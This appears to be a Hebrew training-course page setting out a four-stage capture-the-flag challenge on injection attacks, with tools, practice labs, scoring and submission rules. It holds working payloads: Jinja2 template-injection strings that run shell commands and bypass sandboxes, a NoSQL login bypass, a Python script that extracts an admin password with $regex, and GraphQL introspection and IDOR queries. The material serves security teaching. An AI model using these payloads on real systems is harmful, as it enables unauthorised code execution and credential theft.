לדלג לתוכן

אתגר CTF - הזרקות

מבוא

אתגר CTF רב-שלבי שמשלב את כל טכניקות ההזרקה שלמדנו בפרק הזה. כל שלב דורש זיהוי וניצול של סוג הזרקה שונה. השלמת כל שלב נותנת רמז או גישה לשלב הבא.


שלב 1 - הזרקת תבניות - SSTI

תיאור

מצאתם אפליקציית Flask שמציגה הודעת שגיאה מותאמת אישית. כתובת ה-URL:

http://target:5000/error?message=Page+not+found

משימות

  1. בדקו אם הפרמטר message פגיע ל-SSTI:
http://target:5000/error?message={{7*7}}
  1. זהו את מנוע התבניות (Jinja2/Twig/אחר)
  2. חלצו את ה-SECRET_KEY של Flask:
{{config.SECRET_KEY}}
  1. השיגו RCE ומצאו את הקובץ /stage1_flag.txt:
{{config.__class__.__init__.__globals__['os'].popen('cat /stage1_flag.txt').read()}}
  1. הקובץ מכיל את ה-flag של שלב 1 ואת הכתובת של שלב 2

רמזים

  • אם config חסום, נסו דרך cycler או joiner
  • אם __class__ חסום, נסו |attr('\x5f\x5fclass\x5f\x5f')
  • חפשו גם קבצי קונפיגורציה אחרים על השרת שמכילים credentials

שלב 2 - הזרקת NoSQL

תיאור

מ-flag של שלב 1 קיבלתם כתובת של API ב-Node.js:

http://target:3000/api/login

משימות

  1. נסו להתחבר עם פרטים רגילים ובדקו את התגובה
  2. עקפו את האותנטיקציה עם NoSQL injection:
POST /api/login
Content-Type: application/json

{
    "username": {"$ne": ""},
    "password": {"$ne": ""}
}
  1. אחרי ההתחברות, תקבלו JWT token. השתמשו בו כדי לגשת ל-API
  2. חלצו את סיסמת ה-admin תו אחר תו עם $regex:
import requests
import string

url = "http://target:3000/api/login"
charset = string.ascii_lowercase + string.digits
password = ""

for i in range(30):
    for char in charset:
        payload = {
            "username": "admin",
            "password": {"$regex": f"^{password}{char}"}
        }
        response = requests.post(url, json=payload)
        if response.json().get("success"):
            password += char
            print(f"[+] Password: {password}")
            break
  1. התחברו עם הסיסמה האמיתית כדי לקבל token עם הרשאות admin
  2. גשו ל-/api/admin/flag עם ה-token

רמזים

  • ה-API מקבל רק JSON - וודאו Content-Type
  • אם $ne חסום, נסו $gt או $exists
  • ה-JWT token צריך להיות ב-header: Authorization: Bearer TOKEN

שלב 3 - תקיפת GraphQL

תיאור

מ-flag של שלב 2 קיבלתם כתובת של GraphQL API:

http://target:4000/graphql

משימות

  1. בצעו introspection כדי לגלות את הסכמה:
{
    __schema {
        queryType { name }
        mutationType { name }
        types {
            name
            fields {
                name
                type { name }
                args { name type { name } }
            }
        }
    }
}
  1. אם introspection חסום:
  2. נסו GET במקום POST
  3. נסו field suggestions עם שאילתות שגויות
  4. נסו __type(name: "Query") במקום __schema

  5. מצאו שאילתה שחושפת מידע רגיש (כמו secrets או flags)

  6. אם צריך הרשאות - נסו IDOR:

query {
    secret(id: 1) { content }
    secret(id: 2) { content }
    secret(id: 3) { content }
}
  1. מצאו מוטציה שמאפשרת שינוי הרשאות

  2. חלצו את ה-flag של שלב 3

רמזים

  • בדקו אם יש סוג (type) בשם Secret, Flag, או Admin
  • חפשו מוטציות כמו updateRole או grantAdmin
  • נסו aliases לעקיפת rate limiting

שלב 4 - שרשור SSTI ל-RCE

תיאור

מ-flag של שלב 3 קיבלתם גישה לאפליקציה נוספת שמשתמשת ב-template engine עם sandbox:

http://target:8000/render?template=Hello+World

משימות

  1. אשרו SSTI:
http://target:8000/render?template={{7*7}}
  1. גלו אילו הגבלות קיימות (sandbox):
  2. האם __class__ חסום?
  3. האם os חסום?
  4. האם import חסום?
  5. האם config חסום?

  6. עקפו את ה-sandbox:

# ניסיון 1 - דרך lipsum
{{lipsum.__globals__['os'].popen('id').read()}}

# ניסיון 2 - דרך cycler עם שרשור מחרוזות
{% set a='po'%}{%set b='pen'%}{{cycler.__init__.__globals__.os[a~b]('id').read()}}

# ניסיון 3 - דרך request.args
{{request|attr(request.args.a)}}?a=__class__

# ניסיון 4 - hex encoding
{{''|attr('\x5f\x5fclass\x5f\x5f')}}
  1. השיגו RCE וקראו את /final_flag.txt

  2. חלצו את ה-flag הסופי

רמזים

  • נסו כל טכניקת עקיפה מההרצאה
  • אם אין גישה ל-os, נסו subprocess
  • אם popen חסום, נסו Popen (אותיות גדולות) מ-subprocess
  • אם הכל חסום - חפשו מחלקות דרך __subclasses__() ומצאו אחת שמאפשרת קריאת קבצים

מערכת ניקוד

שלב נקודות תיאור
שלב 1 - זיהוי SSTI 10 זיהוי שהפרמטר פגיע
שלב 1 - RCE 15 השגת הרצת קוד
שלב 1 - Flag 5 קריאת ה-flag
שלב 2 - Auth Bypass 10 עקיפת אותנטיקציה
שלב 2 - חילוץ סיסמה 20 חילוץ מלא עם $regex
שלב 2 - Flag 5 קריאת ה-flag
שלב 3 - Introspection 10 חשיפת הסכמה
שלב 3 - חילוץ נתונים 15 מציאת המידע הרגיש
שלב 3 - Flag 5 קריאת ה-flag
שלב 4 - Sandbox Bypass 25 עקיפת ה-sandbox
שלב 4 - Final Flag 10 קריאת ה-flag הסופי
סה"כ 130

משאבים לתרגול

PortSwigger Labs

  • כל מעבדות SSTI (7 מעבדות)
  • כל מעבדות NoSQL Injection (4 מעבדות)
  • כל מעבדות GraphQL (4 מעבדות)
  • כל מעבדות XXE (8 מעבדות)
  • כל מעבדות Host Header (7 מעבדות)

HackTheBox

  • Templated - SSTI בסיסי ב-Jinja2
  • Neonify - SSTI עם bypass
  • Mango - NoSQL Injection ב-MongoDB
  • Stocker - NoSQL Injection ב-Node.js

TryHackMe

  • SSTI - חדר ייעודי להזרקת תבניות
  • Injection - חדר כללי על הזרקות
  • GraphQL - חדר ייעודי ל-GraphQL

כלים מומלצים

  • Burp Suite Professional - עם Collaborator לבדיקות OOB
  • tplmap - כלי אוטומטי לזיהוי וניצול SSTI
  • NoSQLMap - כלי אוטומטי ל-NoSQL injection
  • InQL - הרחבה ל-Burp לתקיפת GraphQL
  • graphql-cop - סורק חולשות GraphQL
  • XXEinjector - כלי אוטומטי ל-XXE

דרישות הגשה

  1. Writeup מלא לכל שלב הכולל:
  2. תיאור החולשה שמצאתם
  3. הצעדים שביצעתם
  4. ה-payloads המדויקים
  5. צילומי מסך של התוצאות
  6. ה-flags שמצאתם

  7. סקריפטים שכתבתם לאוטומציה (חילוץ סיסמה, סריקה, וכו')

  8. המלצות תיקון לכל חולשה שמצאתם

  9. זמן - האתגר מוגבל ל-4 שעות